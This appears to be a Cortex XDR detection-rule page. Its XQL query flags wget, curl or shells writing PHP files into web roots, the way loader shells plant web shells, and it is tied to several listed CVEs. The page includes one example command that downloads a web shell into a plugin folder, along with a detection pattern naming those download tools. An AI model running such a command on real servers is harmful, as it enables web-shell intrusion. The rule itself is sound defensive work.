Cortex XDR · CVE exploitation
PHP web stack: A download tool wrote a PHP file into a web root
- Correlation
- set the rule's MITRE tactic to TA0002 and technique to T1105
- severity
- high
- confidence
- 75/100
- generated
- 14 Nov 2026
wget, curl or a shell wrote a .php / .phtml / .phar file under a web root (public_html, /var/www, wp-content). Loader shells fetch more web shells this way (wget -O <plugin folder>/x.php https://host/aa.txt), named to blend into plugin and core folders. worker-writes-php misses these: the writer is the download tool, not the PHP worker. Not specific to one bug: it fires on code execution through the PHP web stack by any route. Attached to the 11 CVEs in this stack that skopnix reported in the last 30 days, newest CVE-2026-119977, CVE-2026-116606, CVE-2026-114625.
False-positive notes
Needs wget / curl / a shell as the writer, a PHP-executable extension and a web-root path (public_html, /var/www/, /srv/www/, htdocs, wp-content, wp-includes, wp-admin). Package managers (apt, dnf, composer), git checkouts and SFTP uploads are other writers and do not match.
References
- skopnix.com/cve/CVE-2026-119977 ↗
- skopnix.com/cve/CVE-2026-116606 ↗
- skopnix.com/cve/CVE-2026-114625 ↗
- skopnix.com/cve/CVE-2026-111560 ↗
- skopnix.com/cve/CVE-2026-110447 ↗
- skopnix.com/cve/CVE-2026-109619 ↗
- skopnix.com/cve/CVE-2026-109618 ↗
- skopnix.com/cve/CVE-2026-104736 ↗
- skopnix.com/cve/CVE-2026-103849 ↗
- skopnix.com/cve/CVE-2026-102764 ↗
- skopnix.com/cve/CVE-2026-48356 ↗
dataset = xdr_data| filter event_type = ENUM.FILE and (event_sub_type = ENUM.FILE_CREATE_NEW or event_sub_type = ENUM.FILE_WRITE or event_sub_type = ENUM.FILE_RENAME)| filter lowercase(actor_process_image_name) in ("wget", "curl", "sh", "bash", "dash", "busybox") and lowercase(action_file_extension) in ("php", "phtml", "phar", "php5", "php7") and (lowercase(action_file_path) contains "/public_html/" or lowercase(action_file_path) contains "/var/www/" or lowercase(action_file_path) contains "/srv/www/" or lowercase(action_file_path) contains "/htdocs/" or lowercase(action_file_path) contains "/wp-content/" or lowercase(action_file_path) contains "/wp-includes/" or lowercase(action_file_path) contains "/wp-admin/")| fields _time, agent_hostname, actor_effective_username, actor_process_image_name, actor_process_command_line, action_file_path, action_file_sha256, causality_actor_process_image_name| sort desc _timeskopnix-cortex-cve-stack-php-downloader-writes-php-80508758.xql
How to deploy on Cortex XDR
- Step 1
- Paste the XQL into Incident Response > Investigation > Query Builder > XQL Search.
- Step 2
- To alert, save it as a Correlation Rule and set the MITRE tactic and technique printed with the rule.
- Step 3
- Schedule it on the interval you hunt at; keep the fields stage for the alert's columns.
- Check
- CVE rules read PAN-OS URL logs (panw_ngfw_url_raw), which need the NGFW integration and, for HTTPS, decryption.